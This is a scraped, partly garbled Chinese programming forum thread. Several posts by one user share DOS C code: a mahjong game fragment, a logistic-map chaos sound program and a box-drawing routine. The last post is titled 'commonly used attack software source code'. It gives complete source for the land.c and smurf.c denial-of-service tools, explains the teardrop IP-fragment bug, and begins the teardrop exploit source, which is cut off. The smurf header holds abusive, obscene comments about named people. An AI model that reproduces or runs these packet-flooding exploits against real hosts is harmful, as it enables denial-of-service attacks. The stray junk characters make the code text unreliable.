ll++;
+ h7 E; G* i7 e% `7 A}

+ |9 _- P: O" R) x8 g9 t. }. T' Hgetch();
! q% _2 i( x. S( @3 Y. [sing=0;
2 a1 _: a( `. ?" Z3 e  X% wsing1=1;
- h$ i8 J  {* x0 V0 R$ r% S5 g}
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
) q; j  k6 W* l! |. _. F6 a" t{
kk=0;
h=me.pp[every].number;
m[h].data1=1; /*此牌已经无用*/
9 @$ T: K5 [1 Uif(sing1!=1)
" d% J# ~- T# y: a2 K4 p0 M{
1 C5 B+ J# K/ B8 S1 yzyy=zyy+9280+20;
9 y& j' i; {! rshowbmpd(every);
zyy=zyy-9280;
/ t, t$ H7 h4 S  v# }# W* z}
) G: p  N' G+ w, J& o% {! ]2 ~while(kk!=1)
{
- Q7 E3 i% L+ ?5 ^3 N% Vtemp=random(136);
! @3 X( P& {8 m( z/ B, Bif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
% F. ^4 L6 g0 q# X5 f+ B0 B{
1 B5 n4 p# q; l: `' w2 s! P; Mme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
5 t2 d* j) k  o, i- t5 f% wme.pp[every].number=temp; /*第几张，用来排序*/
% V9 W2 F. X  C: mm[temp].data2=1; /*判断牌是谁的*/
2 o2 A5 ?0 y# M9 O9 skk=1;
8 `* p0 Z$ U( ~) a; g( i+ k4 s$ B}
, h/ s+ D2 S6 P0 K6 \! o4 r7 E* Gif(kk==0) /*判断如果又选择了，就从新再选*/
kk=0;
% b2 o2 W' c4 g4 r1 j4 s: O$ e}
}
5 D, f* h; V( rsing=0;
9 x# m- {. {/ [: F3 k* `+ b( ising1=0;
$ q9 t8 v% P$ Y1 k: z5 H5 ^melipai();
5 w  h, G0 g8 i- r5 Sn=13;
9 f: w& h  \: L/ \z1=54400;
l=0;
1 A1 N8 c4 @' s& R, B* s2 dg=z;
6 h* q: E% Y- D/ c: pwhile(l&lt;n)
{ z=0;
z1=z1+20;
0 ^1 d# H, e6 w* ushowbmp(l);
l++;
}
z1=0;
6 `1 R  t( R8 p2 c0 z3 Gz=g;
}
7 `4 @  d4 j/ D3 D! Fkeyy=0;
}
+ ^" \. f3 g7 D. R0 `
, X! q! c( v/ Y3 @getch();
OUTVGA;
: ~7 y) S6 Q. l9 R4 U}
4 ]8 u1 c" r  {% |3 q* i& R</P></DIV>

---

作者: 韩冰    时间: 2004-10-4 02:38
<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>　　本世纪70年代初，美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型： χ[n＋1]=k＊χ[n]＊(1－χ[n])
</P><>　　其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值，然后不停地迭代，人们发现随着k值的不同，得到的序列χn 有许多有趣的现象。当k值介于0与1之间时，χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k，当k值大于3时，经过一定次数的迭代后χ[n]在2个值之间交替变化，k值增加到3.449附近时，交替变化值又变为4个。继续增加k值，χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍，终于一片混沌。但当k值在3.835附近时，经过一定次数的迭代后，χ[n]非常简单地在3个值之间交替变化，接着又迅速依3→6→12的次序迅速增长。如此反复，在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示：
. b- w7 e- d6 H8 h; {
  O4 g2 o! W; u8 y7 C　　为了体现这种复杂之中的无穷奥妙，下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率，设定不同的k值，我们就可以聆听到混沌的声音。
0 g, C& N$ r* V　　<FONT color=#009900>＃include <DOS.H>
　　＃include <STDIO.H>
0 p0 _0 W, D9 c* R- A- ^4 X9 P: V　　main(){
　　int fMin=20,fMax=16000; /＊fMin代表最低频率，fMax代表最高频率＊/
4 C4 b/ x% S; Q4 `1 b* x6 m8 h　　int fDis,i,j; /＊fDis代表最高频率和最低频率之间的差值＊/
　　/＊i,j用于循环记数＊/
2 n2 F9 I; R9 o+ _8 W　　float x=0.1,k; /＊x代表x[n]的大小，设定其初始值为0.1，即x[0]=0.1＊/
　　fDis=fMax－fMin;
4 [9 A: o: Z: J) g8 a5 r　　for(j=1;;j＋＋){
  L1 ~' Y, T, ?: G　　printf("lease input The value of k(1－4.0)\n"); /＊输入k值＊/
: P2 t& C. n6 O* d7 {　　printf("If you want to quit,Please input:0\n"); /＊如果k=0退出＊/
　　scanf("％f",＆k);
0 @, }8 S& e! h# B　　if (k==0) break;
　　for(i=1;i&lt;100;i＋＋) /＊去除开始的100个点＊/
* f; c( H% X  p' c% k3 ]" I/ Z　　x=k＊x＊(1－x);
+ ^: `; ]5 j2 n1 c0 Z　　for (i=1;i&lt;100;i＋＋){
　　x=k＊x＊(1－x); /＊计算x的值＊/
　　sound(x＊fDis＋20); /＊用x的值控制PC喇叭的发音频率＊/
: ~. P. w( G* a1 H" Q4 J+ P; J7 G7 i　　delay(1000); }
! B7 }& U+ a& C. f6 T. Q- E　　nosound(); }}
4 D* `5 ^$ L! G: `　　</FONT>执行上面的小程序时，k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时，喇叭里传出的只有一个音调，重复又烦人。当k值稍稍大于3时，便开始有了韵律：so－mi－so－mi…。k值增加到3.449时，变成了so－fa－la－mi－so－fa－la－mi…，再增加k值，韵律更加复杂，终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时，音调又变成了mi－so－ti－mi－so－ti…，再增加k值又迅速地变得更加复杂。
不停地改变k值，仔细聆听，会听到混沌中的无限奥妙。</P></DIV>

---

作者: 韩冰    时间: 2004-10-4 02:39
<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
8 S/ Q9 K8 ^# w<FONT color=#009900>/*
' _4 \0 H7 D- N4 f# u  X. V* F*
* Short driver module
*
*/</FONT></P><><FONT color=#009900>main()
{
clrscr();
box(1,1,23,79);
box(2,2,21,77);
box(3,3,19,75);
6 M1 U0 a: S. _  A9 \& G9 Vbox(4,4,17,73);
" i  U, c+ Y; ^; @box(5,5,15,71);
box(6,6,13,69);
& j' H2 P" a) }, N/ X/ Vbox(7,7,11,67);
, S  L3 X- r+ bbox(8,8,9,65);
box(9,9,7,63);
9 q4 C5 B0 D' Gbox(10,10,5,61);
4 W# v' n1 I) t- ]3 T7 h$ S6 }box(11,11,3,59);
' o( z" v: H- y7 pbox(12,12,1,57);
% I& ?+ U9 V( D$ m* L* \7 y) N  C4 dposcur(24,1);
}</FONT></P><><FONT color=#009900>/************************************************************
* BOX *
*----------------------------------------------------------*
* Written by: Jeff Ebert 7/01/87 *
* Modified by: xxxxxxxxxx *
# }+ w1 X6 a3 `9 P! q% b: _8 M* *
9 N& J$ g3 g7 u3 e3 I' P4 t2 R5 O* Please modify me! *
* Possible Enhancements include but are not limited t *
; B. ]: ~. S. W' O3 w! \1 c- ~3 ^! K4 |* 1) Variable box character styles [1 line or 2] *
* 2) Error checking *
* 3) Color options *
* *
* q7 k) p! K5 M- d* *
* This function builds a simple double frame for a menu. *
4 b0 m) |& f7 K3 a  x* The function is passed the parameters for the upper *
* left corner row, upper left corner column the height *
* of the frame and the width. *
5 a0 ~! z4 ?4 ^' c" R* *
0 f% S6 C$ [! F3 B, K' _2 k************************************************************/
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
# U9 j3 V# C9 U/ x" r- |" V#define URCOR 187
0 m$ n- m+ v, X. x" i  Z: g#define LLCOR 200
% ]' O/ t- j' }% Q7 q#define LRCOR 188
9 V! ]7 o0 x4 T' z#define VBAR 186
#define HBAR 205
& L% h/ Z! z; j) X) k& y#define ESC 27</FONT></P><><FONT color=#009900>
box(row, col, hgt, wdth)
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
putchar(ULCOR);
3 ]9 C# v% q" F5 W( Ofor(x = col + 1; x &lt;=(col + wdth -1); x++)
putchar(HBAR);
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
poscur(x,col);
1 H- {* \; I* Qputchar(VBAR);
poscur(x,col+wdth);
1 \! F( w" p9 C5 r0 L+ |9 f3 jputchar(VBAR);
; e9 ~7 X' @" `5 F  {% D}
# t, r, ~! a- X+ jposcur(x,col);
) ?) A- q; B: G3 Aputchar(LLCOR);
) U0 w1 T: |( y/ u, R  kfor(x= col + 1; x &lt;=(col + wdth -1); x++)
% ~/ F( {% F8 K3 jputchar(HBAR);
4 [& q& |7 ?7 [putchar(LRCOR);
8 O9 y2 l2 A7 w3 i- A" g}</FONT></P><><FONT color=#009900>/********************************************************
- q9 W$ _( b2 R* POSCUR *
*------------------------------------------------------*
* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
9 t, K  ~( H3 G( N2 s* z5 C* sequence to produce the desired effect. Its not the *
- @* p2 ^" [7 z6 k' W4 Q* fastest way to position the cursor, but perhaps the *
( ?! r" F$ R. W* V% p- @* most portable. *
  w5 N  y1 y, o( M* *
) T3 z% X( E* q' w+ f********************************************************/
$ d& C0 V* U4 R) N( Z  [poscur(xcor,ycor)
int xcor,ycor;
{
printf("%c[%d;%dH",ESC,xcor,ycor);
& v  ^0 k- A, V" i+ ?/ ]}</FONT></P><><FONT color=#009900>
/ m$ |1 u# r  c; ^/ i' b+ l7 q/********************************************************
* CLRSCR *
*------------------------------------------------------*
* This function positions the cursor at the specified *
: H  Q' C. _  p, K+ s0 i* x,y coordinate. It uses the ANSI standard ESCAPE *
8 u6 C/ W# b7 h. W4 E1 w* sequence to produce the desired effect. Its not the *
* fastest way to position the cursor, but perhaps the *
0 l' G( B4 a$ o8 ~* p' Q/ \* most portable. *
# a& U$ e$ F* l* *
********************************************************/
: l6 N  q7 m  @clrscr()
$ d; M- G0 R0 _{
printf("%c[2J",ESC);
}</FONT>
</P>

---

作者: 韩冰    时间: 2004-10-4 02:40
<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
! f1 c' I3 k0 E# u2 m这里有一些是老的，现在看来并没有用，但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
己的同一个端口发起连接（发SYN），Win95即会崩溃。</P><>
) |+ e2 U# d) c& B<FONT color=#009900>/* land.c by m3lt, FLC
$ |9 A: B( L* T9 x8 z* zcrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
( D& b! a1 r7 y  d) Z* n9 Z#include <NETDB.H>
- R+ Y: j( G( g' @' p1 `#include <ARPA inet.h>
#include <NETINET in.h>
#include <SYS types.h>
8 `5 ^6 ~3 }' k$ V% B#include <SYS socket.h>
#include <NETINET ip.h>
4 K" g% v0 ?2 H4 l. N& }#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
struct pseudohdr
) O' H+ l3 \' ]( V( b* z( i{
struct in_addr saddr;
1 l( U. y! ~8 r! \/ J) N, c3 `struct in_addr daddr;
- _  i( w1 U: U2 ~- tu_char zero;
# ~! T( h1 i+ Y) S4 e# Wu_char protocol;
. I; k3 ?7 M6 d& E! `u_short length;
3 D/ M6 F) g/ A, @  v$ q, [struct tcphdr tcpheader;
};</FONT></P><><FONT color=#009900>//计算IP校验和
. U: r; _6 f( \  S: Ru_short checksum(u_short * data,u_short length)
4 w8 D6 y2 s4 U; W{
register long value;
* d& \( B# j1 E/ f5 \7 ju_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
6 j) O( s% Z  W0 W# U/ M* pvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
7 }8 r1 x6 s6 l7 {- D8 I}</FONT></P><><FONT color=#009900>
int main(int argc,char * * argv)
& L/ c( V! F6 C. c/ W) B& `7 O{
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
+ a9 {% u, [" j2 cchar buffer[40];
! p) K3 X  k! {; U5 ?7 ?4 X+ rstruct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
9 ^: q* z1 A& z9 |struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
. t) X8 l5 H- ]; F3 K{
% k7 a2 S3 H" m1 M2 efprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
/ n8 j6 ?4 b1 N$ u" [  L" j! lsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
8 Y$ H+ b% o) r6 y7 H7 |* m. `! Ebcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
# Q5 P/ u. S0 V' H, Velse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
: x6 `' }% a6 T! |fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
- |/ k* D% G8 M  G% w{
2 x9 j* g" p: D& g4 {+ lfprintf(stderr,"unknown port %s\n",argv[2]);
" r* p: G$ h( ^- Areturn(-1);
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
8 x( l7 x' c+ c, L% l# Dif((sock=socket(AF_INET,SOCK_RAW,255))==-1)
" L+ R1 c9 A* J1 P7 I/ q" v{
: g2 h0 v# H. y2 X) M. _fprintf(stderr,"couldn't allocate raw socket\n");
; E1 v2 `! E$ l) S; b& f' jreturn(-1);
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
) d# z1 \" x4 E$ E& I/ vipheader-&gt;version=4;
9 F, U% _# @% L6 _ipheader-&gt;ihl=sizeof(struct iphdr)/4;
: V2 a) @" X( b- G. n; R6 uipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader-&gt;id=htons(0xF1C);
9 A6 @% a0 d" M/ J! bipheader-&gt;ttl=255;
1 b  }; r/ K+ g& l& ?$ O7 tipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
ipheader-&gt;saddr=sin.sin_addr.s_addr;
; n$ }1 ~# u& W/ ~ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
% U6 L: s2 h3 |0 Otcpheader-&gt;th_sport=sin.sin_port;
' J+ Q  h: X1 [tcpheader-&gt;th_dport=sin.sin_port;
tcpheader-&gt;th_seq=htonl(0xF1C);
tcpheader-&gt;th_flags=TH_SYN;
1 l2 C9 w& h" `: Ftcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
" c) X- a+ l2 ctcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
+ t& b2 e' |% o; B* ?$ v* Apseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
/ i. Y+ Q" V3 i: o  ]bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
5 l: Y7 M! B% n+ @$ z$ e# F0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
$ X' q: D; N2 ]" a{
5 h9 R* v! ~" a9 Z; Q- Bfprintf(stderr,"couldn't send packet\n");
* i4 w, {' ~& x0 D1 creturn(-1);
& f9 f/ i, m% I}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
: V. k, ]5 y# e* z& @return(0);
}</FONT></P><>
2 Smurf
smurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数
6 ^# Y; }. y4 s! N# f! f据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包
% J8 o; I$ o( y5 m5 D4 s的源地址）崩溃。</P><>受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些
icmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢
0 e9 D7 p7 w9 T) E' g6 s（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变
4 M" ~" D  ^9 S3 S2 g/ N4 z0 o成不可能（没有WINS服务器时）。</P><P>/*
*
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
4 X4 I  W2 j8 [5 }*
* spoofs icmp packets from a host to various broadcast addresses resulting
* in multiple replies to that host from a single packet.
*
# b* x2 U5 \$ E* mad head t
! p4 w0 b" s& S* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
  L$ _5 [* s, X! F- O* MissSatan for swallowing, napster for pimping my sister, the guy that
* invented vaseline, fyber for trying, knowy, old school #havok, kain
, A, `& h: G" y. ~  J0 N( {7 j1 M* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
* have missed (you know who you are).
*
6 M4 H% D* ~! R* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
* thing he is (he's -almost- as stubborn as me, still i managed to pick up
* half the cheque).
*
+ ~( M" E: s, _! j0 G1 |* and a special hi to Todd, face it dude, you're fucking awesome.
6 m# |& X/ ^$ ?7 \  S8 A, e, m*
* mad anal t
# {6 E+ k6 N% y# s$ p/ `* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
1 R5 i! H6 X7 H* because they plain suck, Rolex for being a twit, everyone that
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
* partner, #cha0s, sedriss for having an ego in inverse proportion to
* his penis and anyone that can't pee standing up -- you don't know what
* your missing out on.
*
* and anyone thats ripped my code (diff smurf.c axcast.c is rather
* interesting).
. [* |1 k* ^3 e1 m*
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
* Robbins for trying to steal my girlfriend. Not only did you show me
* no respect but you're a manipulating prick who tried to take away the
* most important thing in the world to me with no guilt whatsoever, and
* for that I wish you nothing but pain. Die.
*
9 I% a: _7 o* E' X9 y* disclaimer:
* I cannot and will not be held responsible nor legally bound for the
* malicious activities of individuals who come into possession of this
) R, n$ `1 e3 D# I* program and I refuse to provide help or support of any kind and do NOT
' Q0 U. F( @. A. s! G* condone use of this program to deny service to anyone or any machine.
% q+ y2 E" h  `5 V) K* This is for educational use only. Please Don't abuse this.
- i9 T# Q+ A, \- h*
( r8 k+ E7 z+ h9 r) N! X  M* Well, i really, really, hate this code, but yet here I am creating another
/ X2 ?' v- `% x1 O* W( x* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
0 j) d+ R! z) }5 h& b- k$ F" q# D* like most programmers don't like seeing bugs in their code. I saw a few
9 b, v/ J+ N# K* things that should have been done better or needed fixing so I fixed
9 d5 z( W8 c) B( y) N* them. -shrug-, programming for me as always seemed to take the pain away
$ v$ n/ |( p* S9 ]; B6 ~2 h: S* ...
*
1 V/ r1 J; K  I! b9 L, V. `4 G: |5 _# n*
*/</P><P>#include <SIGNAL.H>
#include <STDIO.H>
) C3 s2 z& Q- O- x8 {#include <STDLIB.H>
* x3 O, S7 D$ b, T7 ?! j' }#include <SYS socket.h>
#include <SYS types.h>
; ~9 `  g6 b% u( h* I#include <NETINET in.h>
$ o9 }2 v% H. D: K1 K6 P+ z" W#include <NETINET ip.h>
#include <NETINET ip_icmp.h>
$ x# h% t$ x2 Q$ v  w, {8 I! l#include <NETDB.H>
. l. A4 O# e3 v1 h" C+ o#include <CTYPE.H>
#include <ARPA inet.h>
#include <UNISTD.H>
9 r: k4 S& y2 d9 w8 T& Y3 c' x8 }" c5 ?#include <STRING.H></P><P>void banner(void);
9 ~7 F- O( C6 Y0 S* l' S6 v: b0 t1 bvoid usage(char *);
/ g$ H2 z0 ^9 F0 lvoid smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
/ Z1 ]& _, \! h& {- g7 ?{
struct sockaddr_in sin;
struct hostent *he;
5 n2 M; u9 d; H/ Q; s# bFILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
/ y' E  m3 `; C3 Wchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
+ Y9 e5 g. O, Xsignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
. ^" D& ~/ @7 f  rperror("resolving source host");
exit(-1);
$ g5 ~) |' g  I7 t3 Z8 ?}
1 Q+ d" Y3 e6 h; q- o  x- h5 bmemcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
delay = atoi(argv[4]);
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
perror("opening bcast file");
3 b0 N0 {9 ~8 ~; J4 x1 Hexit(-1);
}
x = 0;
while (!feof(bcastfile)) {
: H) v; U, T& m7 }+ p2 _: ~+ Lfgets(buf, 32, bcastfile);
5 j/ \; y6 k" f6 l7 T: Hif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
for (i = 0; i &lt; strlen(buf); i++)
/ m, G- _$ C& Q) X% tif (buf == '\n') buf = '\0';
bcastaddr[x] = malloc(32);
0 X' d: ^9 D) Lstrcpy(bcastaddr[x], buf);
* V6 ^3 Y  H8 e( o4 m$ Fx++;
}
* k6 D. }( U! [  D8 s( H6 ibcastaddr[x] = 0x0;
fclose(bcastfile);</P><P>if (x == 0) {
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
exit(-1);
}
if (pktsize &gt; 1024) {
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
exit(-1);
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
2 U& q! I1 g2 r+ |perror("getting socket");
' ~2 P1 s5 d% ]( X/ a- Y% `9 i. ^exit(-1);
}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
5 ]; E0 R3 J* }; M) cif (!(i % 25)) { printf("."); fflush(stdout); }
: X' C, e( f' Q9 r8 O$ B6 wsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
$ O, p9 ?$ ]  z; P6 m$ Hcycle++;
% P" e; b1 g% O+ Wif (bcastaddr[cycle] == 0x0) cycle = 0;
usleep(delay);
' t7 I& q' ~6 j, C6 }% `}
puts("\n\n");
return 0;
}</P><P>void banner (void)
% h( p. c' n% k{
puts("\nsmurf.c v4.0 by TFreak\n");
}</P><P>void usage (char *prog)
{
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
"<NUM packets> <PACKET delay><PACKET size>\n\n"
"target = address to hit\n"
) e/ j1 s7 {) ~. J9 Q  s$ K7 q* X7 s: U"bcast file = file to read broadcast addresses from\n"
"num packets = number of packets to send (0 = flood)\n"
  r: q9 h2 e# v3 D"packet delay = wait between each packet (in ms)\n"
: }! b* r: ]  b) {"packet size = size of packet (&lt; 1024)\n\n", prog);
exit(-1);
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
; ~0 T' \- v$ A* T5 ~struct iphdr *ip;
struct icmphdr *icmp;
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
1 D; O. A2 @; J1 {' jip = (struct iphdr *)packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip-&gt;ihl = 5;
$ k  F+ r; v, Zip-&gt;version = 4;
ip-&gt;ttl = 255;
ip-&gt;tos = 0;
6 d) q/ X) H0 X+ R6 |0 `ip-&gt;frag_off = 0;
ip-&gt;protocol = IPPROTO_ICMP;
ip-&gt;saddr = sin.sin_addr.s_addr;
& Z$ X$ b$ c' \8 w) X* q. qip-&gt;daddr = dest;
7 t, X$ U, C) K6 Uip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
icmp-&gt;type = 8;
icmp-&gt;code = 0;
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
}</P><P>void ctrlc (int ignored)
9 p+ p8 e5 H# d" x8 M/ f# |) L{
puts("\nDone!\n");
exit(1);
0 Q0 ?1 O% N/ k5 h* o8 d0 @}</P><P>unsigned short in_chksum (u_short *addr, int len)
{
register int nleft = len;
register int sum = 0;
1 B, Y$ j( W: ?* S/ Pu_short answer = 0;</P><P>while (nleft &gt; 1) {
+ d* r* c7 V5 V& usum += *addr++;
5 b( P- P( |/ P" u' a' Y# Bnleft -= 2;
4 T1 U+ c- _( H/ o}</P><P>if (nleft == 1) {
& W9 {5 F3 D1 X3 ?8 d. I3 \*(u_char *)(&amp;answer) = *(u_char *)addr;
sum += answer;
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
sum += (sum &gt;&gt; 16);
1 S' e. b$ f( a6 u4 j  S2 C: P; lanswer = ~sum;
return(answer);
7 H: v5 D/ v' m& W* D}</P><P>
! K. m, _! f4 I8 T, @4 g3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中：</P><P>在循环中重组ip包：
fp = qp-&gt;fragments;
( F3 M- {  o. f9 v) F( twhile(fp != NULL)
1 V! u% ~+ o* O' Z* L{
5 C+ Y8 B5 w& u# Fif(count+fp-&gt;len &gt; skb-&gt;len)
{
- m: Q, l/ U! [  t& Uerror_to_big;
}
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
count += fp-&gt;len;
fp = fp-&gt;next;
}
这里只检查了长度过大的情况，而没有考虑长度过小的情况，
如 fp-&gt;len&lt;0 时，也会使内核拷贝过多的东西。</P><P>计算分片的结束位置：
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的）
是这样处理的：
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
{
i = prev-&gt;end - offset;
, G- b5 U  Y2 k. U7 |offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}</P><P>/* Fill in the structure. */
fp-&gt;offset = offset;
fp-&gt;end = end;
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞：
# F4 E! ^7 b  J, K, F第一个碎片：mf=1 offset=0 payload=20
敌二个碎片：mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
offset=0
这样第二个碎片的 end=9+10=19
( `* M1 V. b. B  i: I$ ?offset=offset+（20-offset）=20
/ l. U( O, S: w( j6 pfp-〉len=19-20=-1； </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
: Z7 q" G) l9 w, ~, \/ g1 s/ j- Q! z/*
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
$ V8 H3 k; p, F6 u' b, ]1 s) {*
* Linux/NT/95 Overlap frag bug exploit
. Q2 b, C0 j% m  H9 _$ U*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
- p6 Z2 V% Q. z9 [4 e( ?' d*
* Based off of: flip.c by klepto
0 r: z  B- A! M9 v; L$ p* Compiles on: Linux, *BSD*
3 I& K8 `6 \3 {% h*
/ ~" M# ~% Q- d* x% x' e* gcc -O2 teardrop.c -o teardrop
8 `) t+ k: F) F* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/</P><P>#include <STDIO.H>
#include <STDLIB.H>
' @8 U* Y3 [, [/ J! J#include <UNISTD.H>
# O6 ]* |/ C" {#include <STRING.H>
+ P5 @3 a% {6 K: O( H1 S7 U/ h#include <NETDB.H>
